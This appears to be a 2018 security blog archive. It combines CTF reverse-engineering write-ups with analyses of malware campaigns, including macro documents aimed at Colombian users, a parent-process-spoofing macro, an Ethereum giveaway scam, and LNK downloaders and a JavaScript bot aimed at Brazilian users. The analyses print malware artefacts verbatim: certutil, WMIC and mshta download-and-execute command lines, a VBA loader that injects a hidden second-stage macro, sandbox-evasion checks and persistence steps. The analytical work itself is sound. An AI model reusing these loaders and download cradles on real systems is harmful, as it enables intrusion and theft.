Saturday, 29 December 2018

Corebot writeup - 35C3 CTF

The binary given in this challenge is a 32-bit Windows Binary.

The main subroutine of the binary looks like shown below:

It stores the flag encrypted in the resource section in the resource called: "65".

Main functions performed by the binary are:

1. It retrieves the VolumeID with GetVolumeInformationA() API.
2. This is used to calculate a key of length 0x20 bytes.
3. The key is imported using CryptImportKey() and the entire key including the public key structure looks like shown below:

The public key structure looks like shown below:

typedef struct _PUBLICKEYSTRUC {
  BYTE   bType;
  BYTE   bVersion;
  WORD   reserved;
  ALG_ID aiKeyAlg;

Based on this, we can see:

bVersion = 0x02
aiKeyAlg = 0x6610 (AES)
length of the key = 0x20 bytes.

The actual 32 byte key is stored after this.

Decryption of the Flag:

1. Encrypted flag is loaded from the resource called "65".
2. The key imported above using CryptImportKey() will be used to decrypt the flag using CryptDecrypt()

013C1210  |. 813F 33354333  CMP DWORD PTR DS:[EDI],33433533
013C1216  |. 74 0B          JE SHORT corebot.013C1223

If the first DWORD of the decrypted flag is: 0x33433533, then we have found the correct flag.

To solve this challenge, we need to bruteforce the VolumeID. I wrote a few lines of assembly code to bruteforce the VolumeID from 0x0 to 0xffffffff as shown below:

xor eax, eax
inc eax
push eax
call main()

Inside the main() subroutine, we have to NOP out the call to GetVolumeInformationA() and ensure that eax is restored when we return back to above code to continue bruteforcing.

Using this method, we can find the flag as shown below:

Correct value of Volume ID is: 0x25C3
Flag is: 35C3_MalwareAuthorKryptoChef


PHP Writeup - 35C3 CTF

In this challenge, we are given a PHP file with contents as shown below:

Challenge is running at: nc 1

So, we need to craft an input and send it in order to retrieve the flag.


1. Our input will be unserialized.
2. There is a Class called "B" with a __destruct() method.
3. The __destruct() method will echo $flag.
4. $flag contains the contents of the file called flag.

We can send the serialized input as shown below to retrieve the flag:

Flag is: 35C3_php_is_fun_php_is_fun


Permute Writeup - 35C3 CTF

The binary given in this challenge is a 32-bit ELF file.

$ file program
program: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked, interpreter \004, stripped

When we execute the binary, it asks us for a flag byte as an input:

$ ./program
Usage: ./program <flag byte>

In the screenshot below, we can see the requirements for the input of the binary:

1. argc == 2
2. strlen(argv[1]) == 1

So, we need to send a single character as an input.

When we execute the binary with a single character input, we notice that the MD5 hash of the binary changes as shown below:

$ md5sum program
817daa25ea4048e31a9703f53ff7c15a  program

$ ./program 3

$ md5sum program
80021d00fc812bbd9ccd3c76bdf0fcd1  program

When we pass 3 as an input to the binary, it changed the original binary itself.

Now, let's analyze further.

1. The binary is using libcapstone library to modify the disassembly of the binary at runtime.
2. The changes are written to a tmp file and the original file is overwritten. This results in the change in MD5 hash.
3. Disassembly of the binary is modified in such a way that the original logic of the program does not change.

We can observe in the screenshots below the similarity as well as the difference in the disassemblies between the original binary and after the binary was passed an input of 3.

Original binary:

Modified Binary:

Now, let's check how the input byte is being processed by the binary.

1. The subroutine, sub_804A1EE returns the value in eax.
2. This value is used to perform an XOR with the input byte as shown below:

LOAD:08049FF9                 call    sub_804A1EE
LOAD:08049FFE                 add     esp, 10h
LOAD:0804A001                 mov     [ebp+var_A], al
LOAD:0804A004                 mov     eax, [ebp+arg_C]
LOAD:0804A007                 add     eax, 4
LOAD:0804A00A                 mov     eax, [eax]
LOAD:0804A00C                 movzx   edx, byte ptr [eax]
LOAD:0804A00F                 movzx   eax, [ebp+var_A]
LOAD:0804A013                 xor     eax, edx
LOAD:0804A015                 mov     [ebp+var_B], al

3. We observe that the result of this XOR operation is equal to 0 only when the correct flag byte is passed as an input.

So, to solve this challenge, we need to do the following:

1. Bruteforce the flag byte till we get the XOR result as 0.
2. Pass the correct flag byte to the binary so that it overwrites itself and we get a new binary.
3. Do step 1 with the new binary.

And we need to continue this process till the binary prints "WIN" which indicates that we have completed processing all the flag bytes.

The flag we get is: 35C3_tempuemr_temupre


Sunday, 23 December 2018

Friedrich's Christmas Hangover - X-MAS CTF 2018

The binary provided to us in the challenge is an ELF binary however it has an encrypted file header due to which it will not execute. We need to fix the binary header.

So, how do we know that the binary header is encrypted?

We can first run the file command on the binary and we can see that the OS tells us it is a data file and does not recognize it as an ELF file.

$ file chall
chall: data

Next, we check the binary header using hexdump. We notice that the binary header begins with rHAK. We also notice that there are a large number of 0xd bytes in the binary header.

We can now run hexdump on an ELF file and view the first 250 bytes to compare the headers as shown below:

We can quickly confirm that the binary header is encrypted using the byte, 0xd by XOR'ing the first 4 bytes of the file with 0xd and we obtain the bytes {0x7f 0x45 0x4c 0x46} which corresponds to ELF header.

So, to fix the binary, we need to XOR the first 0xc8 bytes of the binary with a single byte key, 0xd.

Once, we have fixed the binary we can run the file command to confirm that it is a 64-bit ELF file.

It also executes properly now.

Let's check the main() subroutine of the binary now:

Quick observations from the main() subroutine:

1. The binary is using the ptrace() anti debugging technique. However, it's important to note that the binary invokes ptrace() two times consecutively. This is done to detect if the return value of ptrace() was patched.
2. Binary expects an input and calculates the length of the input.

Further in the main() subroutine, we observe that the binary is using conditional jump instructions to jump in between the code. This is a common anti disassembly technique. As you can see, IDA did not disassemble the complete code correctly due to this technique:

Let's debug the binary to understand how it processes the input and performs validation.

We can observe from the above screenshot:

1. Calculates the length of the input.
2. Checks if the length is 0x24 bytes.

The screenshot below shows how the input is processed by the binary:


1. There are two loops. An outer loop and an inner loop.
2. In the inner loop, it calculates an offset and use it to read a DWORD from an array (at address: 0x601100).
3. Multiplies the DWORD from step 2 with a byte of the input (at address: 0x602560). The result is added to the total sum.

The screenshot below shows how the sum is validated:

At memory address, 0x601060, there is an array of DWORDs. Each time the outer loop is executed, the sum is compared with the corresponding DWORD from the array at address: 0x601060.


1. Outer loop executes 0x24 times.
2. Each time the outer loop executes, it will compare the calculated sum with a corresponding DWORD from the array at address:  0x601060.

So, we have 0x24 equations which need to be satisfied.

Now, let's have a look at the array at address: 0x601100 which was used to calculate the offsets in the inner loop.

The interesting thing about this array is that it contains 1296 elements as shown below:

1296 = 36 * 36

The calculation of the sum can be represented as shown below:

def gen(input, outer_counter):

    result = 0
    for counter in range(len(input)):
        outer_counter = outer_counter + (outer_counter << 3)
        outer_counter = (outer_counter << 2) + counter
        a = offset[outer_counter]
        b = ord(input[counter])
        result = result + (a * b)
    return result

After analysing the above array more, I observed that it is a collection of 36 arrays. Each of those 36 arrays is used to compute a sum which is later compared by the outer loop.

So, we have:

1. 36 Arrays
2. 36 Sum values calculated using the bytes of input (whose length is also 36 bytes)
3. Each value of Sum is compared with the corresponding DWORD from an array consisting of 36 elements.

We can solve this using Z3 now.

Here is the code to solve it:


Monday, 19 November 2018

Gimme sum fud RITSEC CTF 2018

In this challenge, we are given a 64-bit ELF binary which is compiled from Go code.

file command output:

$ file pwn3
pwn3: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=7bf36f31cd9a2014bad5fb119d30119e3ea0cad9, not stripped

We can confirm that the binary was compiled using Go language with the following command:

$ readelf -e pwn3 | grep -i .gopclntab
  [19] .gopclntab        PROGBITS         00000000004d9740  000d9740
   04     .rodata .typelink .itablink .gopclntab .eh_frame_hdr .eh_frame

The binary has a section called ".gopclntab" which is corresponding to Go compiled binaries.

Let's execute the binary:


Gimme some bytes, I'm hangry...
mmmmm...., your 1234
 is so good. Thanks. Bye.

So, the binary expects some input and the input is printed back to stdout along with some other text.

We can get more details using ltrace as well:

malloc(16)                                                                                    = 0x5631a0
malloc(100)                                                                                   = 0x563420
malloc(10)                                                                                    = 0x563050
Gimme some bytes, I'm hangry...
, "1234\n", 4919)                                                                       = 5
mmmmm...., your printf("%s", "1234\n"1234
)                                                                        = 5
 is so good. Thanks. Bye.+++ exited (status 0) +++

Also in the above output, we can see 3 buffers. These will be useful later.

In the main subroutine, we can see that the binary reads the flag from flag.txt file.

Inside, main_main_func1 subroutine, it allocates new memory and copies the flag to this memory location using memmove() as shown below:

It then reads the input from the user and prints it back as shown below:

We can create a new file called flag.txt in the present directory so that it's contents are read while debugging.

Now, to understand how to read the flag in this case, we need to understand the memory layout. Below is the memory layout which shows the location of our input in memory as well as the flag location.

Location of input in memory:

Location of flag in memory:

So, in our case, the input is located at address: 0x563050 and the flag is located at address: 0x563490

The difference between the two memory locations is: 0x440 bytes

It is important to note that the location of flag in memory will change because this memory is allocated using malloc()

The memory layout looks like this: [input][data][flag]

The data in between input and flag contains null bytes as shown above.

In the, main__Cfunc_myGets() function, we can see that the binary reads a maximum of 0x1337 bytes as shown below:

Binary prints the input back to stdout as shown below:

The output is printed using printf() function with a format string, "%s"

This means if the data in between the input and the flag location in memory contains any null bytes, then the flag will not be printed.

So, we have to make sure that all the data between the location of input and the flag does not contain null bytes.

Since we don't know the exact location of flag however we know the format of the flag, we can bruteforce the number of bytes to be sent so that all the space between the flag and the input is filled with data that does not contain null bytes.

I wrote the following code to bruteforce it:

When the string, "RITSEC" is found in the output, it will print the flag.

Flag: RITSEC{Muff1n_G0verFl0w_mmmm}


Wednesday, 14 November 2018

Gofuscated Square CTF 2018

This is a writeup for the Gofuscated challenge in Square CTF 2018.

We were provided a Go program which takes a 26 characters input and performs several checks on it. If all the checks are true, then the value of flag will be printed.

Note: In Go language, you can print the value of the variables using fmt.Println(). This will be useful while solving the challenge.

The main function of the Go program looked like shown below:

There were 4 compute functions and their purpose is as follows:

1. compute1: It displays an interesting animation :)

2. compute2: It runs a long FOR loop for Space * Rounds iterations (total iterations: 100000 * 100000). This will take a few minutes to complete. After completing the iterations, it returns a 16 bytes hex string.

h := compute2([]byte(input), done)

As we can see later in the code, h corresponds to our flag:

flag := <-h

3. Before the flag, we have a call to the function, another_helper() and we can see that the return value of this function should be true so that our flag is printed.

4. another_helper() function takes an input string which was generated by compute4()

So, let's see how compute4() is used to process our input.

It first generates a mapping as shown below:

We can print the value of the map using fmt.Println(m)

This gives us the mapping as:

[100:113 114:114 109:121 107:122 122:102 97:104 111:110 110:97 102:106 116:120 112:119 118:101 106:111 117:112 113:103 105:105 115:107 121:108 104:109 120:98 101:99 108:100 103:118 98:115 99:116 119:117]

Then, this mapping is used to shuffle the characters in our input string.

If our input is: abcdefghijklmnopqrstuvwxyz

Then after shuffling the characters in the input using the above mapping we get: hstqcjvmiozdyanwgrkxpeublf

This value is passed to another_helper() function to validate.

another_helper() function is as shown below:

It checks the input to ensure that the ASCII value of each character is less than or equal to the ASCII value of the characters after it.

So, if another_helper() function receives: abcdefghijklmnopqrstuvwxyz as an input, it will return us true.

To solve this challenge, we need to pass an input such that compute4() function returns us: abcdefghijklmnopqrstuvwxyz

We can leverage the mapping above to get the value of an input which satisfies the above requirement.

Input: nxelvzqaifsyhojudrbcwgptmk

Now, we can pass the string: "nxelvzqaifsyhojudrbcwgptmk" as an input to the program and it will print our flag as shown below:



Postfuscator - Square CTF 2018

This is the writeup for Postfuscator challenge in Square CTF 2018.

We were provided a shell script which takes a key as an input and writes the key inside a postscript file.

The postscript file was obfuscated.

Postscript is a stack based language and ghostscript interpreter can be used to debug it.

So, this is how the generated Postscript file looks like:

Important things to note from the Postscript file:

1. The size of the input is 65 bytes.
2. encrypt_str is a function which generates an encrypted string by doing an XOR encryption using an 8 byte key, "4L0ksa1t" and the input.
3. test_str is a function which takes the encrypted output generated by encrypt_str() function and processes it.
4. Inside test_str() function, buf_z holds an encoded string. We can see that it is decoded as follows:

buf = LZWDecode(ASCIIHexDecode(buf_z))

So, how do we decode it? We could rewrite the implementation for ASCIIHexDecode() and LZWDecode() and then pass the encoded string to it ;)

Or we could leverage the ghostscript interpreter to output this value for us.

In ghostscript interpreter, you can print the value of a variable using "=" operator.

So, to print the value of buf which will store the decoded output, we can add a "buf =" statement after buf.

It is important to note that if you only use the "=" operator, it will pop the value from the top of the stack. Doing this will change the stack and have an impact on execution of program as it proceeds. So, its better to use "buf ="

After decoding it, we get:

buf = "1712009367807218646859018292134521568805686127287089876612468382748236461208592688982686121828975882178245515674851882"

test_str() function also has a for loop which can be rewritten in Python as follows:

Since Postscript is a stack based language, when the encrypt_str function was called to encrypt our input with an 8 byte key, each encrypted byte was pushed on to the stack. Also, the value is stored in decimal form and not hex which is important to note as well.

So, each encrypted value is read from the stack and based on the length of it, the corresponding number of digits from buf are compared with it. Each time they are equal, the variable ok is incremented by the length of the value which was compared.

At the end of the FOR loop, if ok == len(buf), then it means that our input was correct.

Also, len(buf) = 118

To solve this challenge, we need to find an input such that when it is encrypted with an 8 byte XOR key: 4L0ksa1t, then each value of the encrypted output should match the corresponding place in the buffer.

In the shell script provided to us which was used to generate the PostScript file, we can see the following line:

echo $key | tr -Cd a-f0-9 >>

This means that our input contains the charset: a-f0-9 (only hex values)

Also, a "%" symbol was added as a  prefix to the input.

Now, I generated all the possible encrypted values for each combination of XOR between the digits of input and each byte of the 8 byte XOR key.

For example:

When the first byte of our XOR key: "4" is encrypted with each possible combination of input charset, we get:

['4', '%', 17]
['4', '0', 4]
['4', '1', 5]
['4', '2', 6]
['4', '3', 7]
['4', '4', 0]
['4', '5', 1]
['4', '6', 2]
['4', '7', 3]
['4', '8', 12]
['4', '9', 13]
['4', 'a', 85]
['4', 'b', 86]
['4', 'c', 87]
['4', 'd', 80]
['4', 'e', 81]
['4', 'f', 82]

As you can see, 17 are the first two digits of the buffer. So, we know that the first value in our input should be: %

Similarly, the possible mappings for the next byte of the XOR key are:

['L', '%', 105]
['L', '0', 124]
['L', '1', 125]
['L', '2', 126]
['L', '3', 127]
['L', '4', 120]
['L', '5', 121]
['L', '6', 122]
['L', '7', 123]
['L', '8', 116]
['L', '9', 117]
['L', 'a', 45]
['L', 'b', 46]
['L', 'c', 47]
['L', 'd', 40]
['L', 'e', 41]
['L', 'f', 42]

We can see that input value of 4 after encrypting with "L" gives 120 which are the next 3 digits of the buffer.

Similarly, we can continue finding the remaining bytes of the input and the final value of input is: 


We can pass this value as a key to the shell script so that it generates a postscript file. The flag will be present inside the newly generated Postscript as file as shown below:

Flag: flag-6016abbe1ac8a7a2d714


Monday, 3 September 2018

MHTML Macro Based Documents Targeting Colombian Users

I have recently observed a lot of macro based Documents using the MHTML format targeting users located in Colombia. There are certain interesting aspects of this campaign which make it stand out from the common spam campaigns.

Documents sent inside Password Protected RAR Archives

The malware delivery method involves sending a malicious macro based Document inside a password protected RAR archive as an email attachment. The content of the email is written in Spanish language and the password is mentioned inside the email body.

As an example:

MD5 hash of the Archive file: 592c9b2947ca31916167386edd0a4936
Password for the RAR archive: censonacionaldepoblacion2018307421e68dd993c4a8bb9e3d5e6c066946ro
MD5 hash of the Macro based Document inside the Archive file: 4bbfc852774dd0a13ebe6541413160bb
Filename of the Document: listado de funcionarios autorizados para censo nacional 2018.doc

Figure 1 shows a screenshot of the email which was sent to the user:

 Figure 1

You will notice something interesting about the length of the password in the above email. It's a very long password with a length of 64 characters.

Based on other emails related to this campaign, this seems to be a pattern.

Figure 2 shows the Document:

Figure 2

Figure 3 shows that the Document uses an MHTML format

Figure 3

Why would the attackers use a very long password?

One of the reasons for using a very long password is because some open source password cracking tools like John the Ripper do not support password length greater than 32 characters for RAR5 archive file formats. This would prevent the use of password cracking tools to access the content inside the RAR files used in the campaign.

Analysis of the Macro based Document

The Document uses MHTML format and all the Document files used in this campaign used the same format. olevba supports extraction of macro from documents which use this format. However, some other Macro extraction softwares such as OfficeMalScanner do not support extraction of macros from Documents which use this format.

The macro itself performs the following 2 main functions:

1. Downloads a Malicious binary from the URL: hxxp://, drops it in the path: %appdata%\p.exe

2. It then uses Schedule.Service object to create a new Scheduled Task on the system with the following details:

Name of the Scheduled Task: GoogleUpdate
Description of the Scheduled Task: Esta tarea detiene el Agente de telemetría de Google, que examina y carga la información sobre el uso y los errores de las soluciones de Google cuando un usuario inicia sesión en el sistema.
Program to Run: This scheduled task is configured using the action, TASK_ACTION_EXEC to execute the binary dropped in step 1 in the path: %appdata%\p.exe

Figure 4 shows the relevant macro code which creates the Scheduled Task:

Figure 4

The binary downloaded is a .NET binary.

MD5 hash of the binary: 584b0648ac3d22f8c8d1fa6d8ab26dce

I will share more details about the Binary in another post.


Wednesday, 8 August 2018

Macro used to spoof the Parent Process

Recently I came across an interesting macro based Document which used several techniques that are uncommon in malicious macros.

The techniques used in this Document can be used to evade both static and dynamic analysis used in Security Products. I'll cover both the aspects and explain why it can be used to evade analysis.

MD5 hash: 2d7889010b497e66b342ee32dca559c1

1st Stage Macro

It is important to note that this macro cannot be extracted with OfficeMalScanner. However, other open source tools such as olevba can be used to successfully extract the macro.

Sandbox Evasion

The first check performed by this macro code is to identify whether it's being analyzed inside a Sandbox. It does this using the following method:

1. Uses the WMI query: "Select * from Win32_ComputerSystem" to get the Username of the current Computer.
2. Iterates over an array of predefined usernames (known to be used in Malware Analysis Systems) and compares the current system's username with it.

Usernames hardcoded in the macro are: "admin", "malfind", "sandbox", "test"

Simple evasion technique but it can be effective.

Macro embedded inside Macro to evade Static Analysis

The second stage macro is base64 encoded and embedded inside the 1st stage macro. The 1st stage macro will load and execute the second stage macro on the fly as shown below:

        Set errDesktop = GetObject("new:000209FF-0000-0000-C000-000000000046")
        Set merrFolder = errDesktop.Documents.Add
        Set objectFile = merrFolder.VBProject.VBComponents.Add(1)
        Set gtypeDesktop = GetObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
        Set mlngCode = gtypeDesktop.createElement("merrFound")
        mlngCode.DataType = "bin.base64"
        mlngCode.Text = curQuantity
        blnCurrent = mlngCode.NodeTypedValue
        objectFile.CodeModule.AddFromString StrConv(blnCurrent, vbUnicode)

The CLSID "000209FF-0000-0000-C000-000000000046" corresponds to Microsoft Word Application.

The CLSID: "2933BF90-7B36-11D2-B20E-00C04F983E60" corresponds to XML DOM Document. It allows us to dynamically update the DOM.

Using "VBProject.VBComponents.Add" it dynamically adds a new VBA macro to the VBA project at runtime.

The embedded macro is stored as a base64 string. So, it is base64 decoded and added to the VBA project at runtime.

Once this is done, the following statement will invoke the second stage macro by calling the function, Auto_Open() as shown below:

        errDesktop.Run ("Auto_Open")

Using this technique, the second stage macro which contains the actual malicious code is hidden and static analysis applied on the first stage macro will not be effective.

It's a simple technique to evade the static analysis.

Spoofing the Parent Process

In the second stage macro, an interesting technique is used to spoof the parent process of the newly created process. In normal cases, if the macro inside a Word Document starts a new process then the parent process of this newly created process will be Winword.exe

If a sandbox is used to analyze a Word Document then they are monitoring the winword.exe process. So, any new process created by Winword.exe will be automatically monitored by the Sandbox as well.

However, if the newly created process is a child process of another process, this can confuse a sandbox and it may not analyze the activities of the new process.

So, how does the macro in our case achieve this?

It uses the following steps:

1. Gets the Process ID of explorer.exe process by running the WMI query: SELECT ProcessId FROM Win32_Process WHERE Name = 'explorer.exe'

2. Opens explorer.exe process

3. InitializeProcThreadAttributeList() is used to initialize ths AttributesList structure

4. UpdateProcThreadAttribute() is used to updated the AttributesList structure with the process handle of explorer.exe

5. Gets the path of dllhost.exe on the system based on the system architecture (32-bit or 64-bit)

6. Starts the new process, dllhost.exe using CreateProcessA() with the Process Creation Flag set to 0x80004

0x80000 - corresponds to EXTENDED_STARTUPINFO_PRESENT


0x4 - corresponds to CREATE_SUSPENDED

So, the new process is created using the flags: EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED

The first flag allows it to use the StartUpInfoEx() structure with the new member AttributesList.

This feature was added for Operating Systems, Windows Vista and above.

As a result of this, dllhost.exe will run as a child process of explorer.exe and not as a child process of winword.exe

7. It then proceeds to inject the shellcode into dllhost.exe and perform the malicious activities.


The techniques used by this macro are easy to implement and provide an effective way to bypass both static and dynamic analysis by leveraging simple feature provided by Microsoft OS.

Friday, 22 June 2018

Ethereum Give Away Hack using Twitter

There's an ongoing Ethereum cryptocurrency give away scam which asks the users to donate Ethereum amounts in the range 0.5 to 20 ETH and assures them 10 times return in exchange.

While this clearly sounds like an attempt to steal your coins, the attack is carried out in a very clever way.

The attacker created a fake Twitter profile of Nick Szabo using the same profile photo as the legitimate profile.

Real Twitter profile of Nick Szabo:

Fake Twitter profile of Nick Szabo:

 Figure 1

The next trick used by the attacker was to carefully choose a famous and recent tweet of Nick Szabo and comment on that tweet with details of the malicious scam as shown below:

 Figure 2

Nick Szabo's Tweet on June 21st:

Attacker commented on this tweet with details of their scam campaign here:

In order to make the tweet of the Attacker more legitimate, we can see that the tweet has 39 likes (at the time of writing).

If we expand the list of users who liked that tweet, we can see a long list of accounts with Russian usernames and each of these accounts have no tweets. This indicates that these accounts were registered by the attacker.

Figure 3 

Now, let's have a look at the website set up by the attacker to collect Ethereum.

Domain name:
SSL Certificate from Let's Encrypt.

The website is well crafted and looks legitimate.

It includes the Ethereum address to which the users need to donate along with a QR image. All this is done to make the site look as authentic as possible.

Ethereum address of attacker: 0x1e2B6F23d0d22aa4D84FC0d417507f25c8CB9190

Figure 4

If we scroll down further on the page, it shows a bar which is used to highlight the progress of this campaign in real time. It tells how many ETH tokens are remaining to be earned.

Figure 5
And it also shows a list of transactions along with details of the transaction to highlight the following:

1. Sender address
2. Receiver address
3. Transcation ID
4. Amount sent

This part of the web page is crafted in a very clever way as well. If you click on the transaction ID or the addresses, you will observe that it's not possible to fetch the complete details. That's because the attacker has crafted these details only to convince the visitor that these are real transactions going on.

In addition to this, to make this look even more convincing, the values are updated in this part of the webpage in such a way that for each pair of transaction, the second transaction is 10 times the value of the first transaction.

Please be careful and aware of such attacks which are well crafted to steal Ethereum coins.

I will update more details of this attack in a follow up post.


Tuesday, 12 June 2018

LNK Files targeting Banking Users in Brazil

On June 8th 2018, I found an interesting instance of a LNK file which was used to target Banking users in the Brazil region.

ZIP File Hash: e8cf34e5b319769da611441cfee9f6f5
Filename: 001745-Tabela-Preco-Fipe.lnk
MD5 hash: ea31baebb8b99ddd858865098e704521

The LNK file has the Target set as shown below:

C:\Windows\System32\cmd.exe /V /C certutil.exe -urlcache -split -f "hxxp://" %temp%\pls.vbs && cd %temp% && rename "pls.vbs" "NjPrcgTKRDVWtxrpwMEMXUgWzVQ.vbs && powershell.exe -WindowStyleHidden -Command wscript NjPrcgTKRDVWtxrpwMEMXUgWzVQ.vbs

The above command line performs the following main operations:

1. Downloads a VBScript from the URL: hxxp:// The file download and drop is performed using certutil.

2. Renames the dropped VBScript from pls.vbs to NjPrcgTKRDVWtxrpwMEMXUgWzVQ.vbs

3. Executes the VBScript using wscript which is invoked by powershell.exe

Analysis of the VBScript

Since the attack is targeted towards Brazilian Banking Users,  several checks are performed by the VBScript before continuing the execution.

Checks for the presence of following directories on the File System:

%APPDATA%\..\Local\Aplicativo Itau

If any of the above paths do not exist on the machine, then VBScript will terminate the execution.

If the above checks are passed, then it continues to perform the following main actions:

1. Downloads a ZIP file from the URL: hxxp://
2. Extracts the contents of the ZIP file to %temp% directory.
3. Renames the executable from iWaPZOE.exe to a randomly generated name. The DLL file is renamed from: RrpzTAc.dll to IVIEWERS.dll
4. Executes the downloaded binary.

DLL Hijacking

The downloaded binary is an OLEView application and the DLL with the name, IVIEWERS.dll is used to perform DLL hijacking. During runtime, IVIEWERS.dll is dynamically loaded by OLEView application. Since the downloaded version of IVIEWERS.dll is malicious, it results in DLL hijacking.

I'll post more details of the malicious activities performed by the DLL in a follow up post.


Monday, 28 May 2018

LNK files targeting Brazilian Users

Recently, I observed a lot of LNK files crafted to target users located in Brazil. The details of this campaign are not documented anywhere and the final stage payloads (binary files) are not even present on public sources such as VirusTotal.

Interestingly, there are numerous references in the source code to characters from World of Warcraft in the form of variable names. The most important reference being: SABNOCK.

This campaign has been active for the past few months however they frequently keep updating.

The original attack vector is an LNK based Downloader sent inside a ZIP archive.

On 25th of May 2018, I observed an LNK file which leveraged WMIC to download the malicious MSI file.

Name of the LNK file: v114googlexx4.lnk
MD5 hash of the LNK file: ac212f8d998343e77edfab76cbf3656e
MD5 hash of the ZIP file: dadc0ec5a5460e8c30859cc6fc3d9d7a

Target of the LNK file: C:\WINDOWS\system32\wbem\WMIC.exe process call create "msiexec.exe /i hxxp:// /q"

And on 27th of May 2018, I already observed a new variant which updated the way the next stage payloads are downloaded.

Name of the LNK file:
MD5 hash of the LNK file: e288ebcfcf2b5b10f774618de059d66b
MD5 hash of the ZIP file: 65f127944263a99c2834d8abf6d408ec

Target of the LNK file: C:\WINDOWS\system32\Wbem\WMIC.exe  os get /format:"hxxp://"

This LNK file uses the technique of leveraging WMIC to download an XSL file which contains a script. This is possible by passing the command line parameter: "/format".

Geo IP check

It is important to note that the C&C Servers in this case use a Geo IP mechanism to ensure that the correct response is given only if the request is coming from the intended targeted region. In this case, the Geo IP check ensures that the request is coming from Brazil.

As an example, if I try to connect to the above URL using a non Brazil IP address, we can see that the Server returns a 404 Not Found Response as shown below:

Figure 1

I configured my TOR exit node to connect through Brazil. Now, when I attempt to connect to the above URL, it returns me the correct response as shown below:

Figure 2

XSL File Analysis

The main purpose of the XSL file in this case is to leverage mshta to download the malicious JavaScript file from the URL:

    var r = new ActiveXObject("WScript.Shell").Run('mshta.exe javascript:try{try{javascript:GetObject("script:ht"+"tp://");self.close();}catch(e){}}catch(e){};self.close();');

SCT File Analysis

This is the main Scriptlet file which performs the following main actions:

1. Downloads the next stage payloads from randomly chosen domains.
2. Configures the system for persistence.
3. Executes the next stage payloads.

Random Domain Selection

radador() is a function in this SCT file which is used to generate a random number between the min and max range supplied to it as arguments.

pingadori is a random number generated in the range, 1 to 52.

Corresponding to each number, there is a domain name which will be used to fetch the next stage payloads.

The complete list of domains is mentioned in the Appendix.

Downloading the Modules

The function, Bxaki() will take two parameters.

URL -> The URL from which it needs to fetch the file.
File -> The path where the file needs to be downloaded

All the files will be downloaded to the directory: %userprofile%\tempwd

The downloaded URLs are constructed as shown below:

xVRXastaroth2 = "ht"+"tp://vrx"+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/"+ smaeVar;

1. It generates a random number in the range, 1111111 to 9999999 and appends it to the string: "http://vrx".
2. It generates another random number in the range, 25010 to 25099. This is the port number.

So, the download URLs have both static and dynamic parts. The reason for generating these random numbers is to prevent detection of the network traffic. Although, since there are still some static parts in the URL, so it is possible detect on that basis.

Below is a summary of the different files downloaded and the corresponding URLs:

sysvw.lnk - Downloaded from the URL: xVRXastaroth2 +""+radador(0000001,999999999)
SABNOCKXa.jpg - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
SABNOCKXb.jpg - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
SABNOCKXe.jpg - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
SABNOCKXf.jpg - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
SABNOCKXg.gif - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
SABNOCKXdwwn.gif - Downloaded from the URL: xVRXastaroth2 + ""+radador(0000001,999999999)
system64.exe - Downloaded from the URL: xVRXastaroth2 + "gerarhv121.php?"+radador(0000001,999999999)

system64.exe is the next stage payload which will be dropped and executed as shown below:

var xxWshShell = new ActiveXObject("WScript.Shell");"\\system64.exe  /xy /"+radador(0000001,999999999),0,true);

This binary will be executed with the command line arguments: "/xy /<random_number>"


The LNK file, sysvw.lnk is downloaded to the path: %userprofile%\tempwd\sysvw.lnk

This LNK file will be copied to the path: %appdata%\\microsoft\\windows\\start menu\\programs\\startup\\ for persistence.

The target of the LNK file is: C:\WINDOWS\explorer.exe /e,/start,system64.exe

It ensures that everytime the system is started, it will execute the system64.exe binary.

In the follow up blog post, I will share the details of the payload.



List of Domains used to fetch the next stage Payload  

Thursday, 24 May 2018

JavaScript based Bot using Github C&C

An LNK file was discovered in the wild recently on 22nd May 2018 which used an interesting mechanism for C&C communication leveraging github and used a new JavaScript based Bot for performing malicious activities on the system.

MD5 hash of the ZIP file:  f444bfe1e65b5e2bef8984c740bd0a49
MD5 hash of the LNK file: 219dedb53da6b1dce0d6c071af59b45c
Filename: 200_Germany.lnk

Config File details are mentioned at the end of the article.

The Target of the LNK file is as shown below:

%comspec% /c copy 2*.lnk %tmp%&%systemdrive%&cd %tmp%&attrib +r *.lnk&for /f "delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js &CsCRipt .js  "%~fa"

This LNK file contains a malicious JavaScript inside it which will be dropped and executed using cscript.

The JavaScript is as shown below:

 Figure 1
It also contains a decoy CSV file which will be displayed to the end user after execution.

The LNK file first searches for all the lines containing the marker "p0b2x6" inside it. Each of these lines correspond to the  JavaScript which will be used to perform further malicious activities.

Analysis of the JavaScript file

Below are the main functions performed by the JavaScript file:

1. Collects information about the AV software running on the machine using the following WMI query:
SELECT displayName FROM AntiVirusProduct

2. Collects information about the version of the OS by running the WMI query:
SELECT * FROM Win32_OperatingSystem

3. The decoy contents will be extracted from the LNK file and dropped on the file system with the filename: 200_Germany.csv. This is the decoy file which will be displayed to the user as shown below:

Figure 2
4. It creates the storage directory in the path: %localappdata%\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"

It is important to note that the environment variable, %localappdata% is present only on Windows 7 and above.

5. It creates a kill.js file in the Storage directory with the following contents:

var oWMISrvc = GetObject("winmgmts:\\\\.\\root\\cimv2");while(1){WScript.Sleep(180000); cProcNIE();}function cProcNIE() {try {var colProcLst = oWMISrvc.ExecQuery("SELECT * FROM Win32_Process WHERE CommandLine LIKE '%-Embedding%' AND Name = 'iexplore.exe'");var objItem = new Enumerator(colProcLst);for(;!objItem.atEnd();objItem.moveNext()) {var p = objItem.item();p.Terminate();}} catch  (e) {}}

The purpose of this JS file is to kill any running instances of Internet Explorer which have the command line parameter matching: "-Embedding". The reason to do this is because InternetExplorer.Application ActiveX Object is used by the JavaScript to perform the C&C communication.

6. Creates a startup.js file in the storage directory with the following contents:

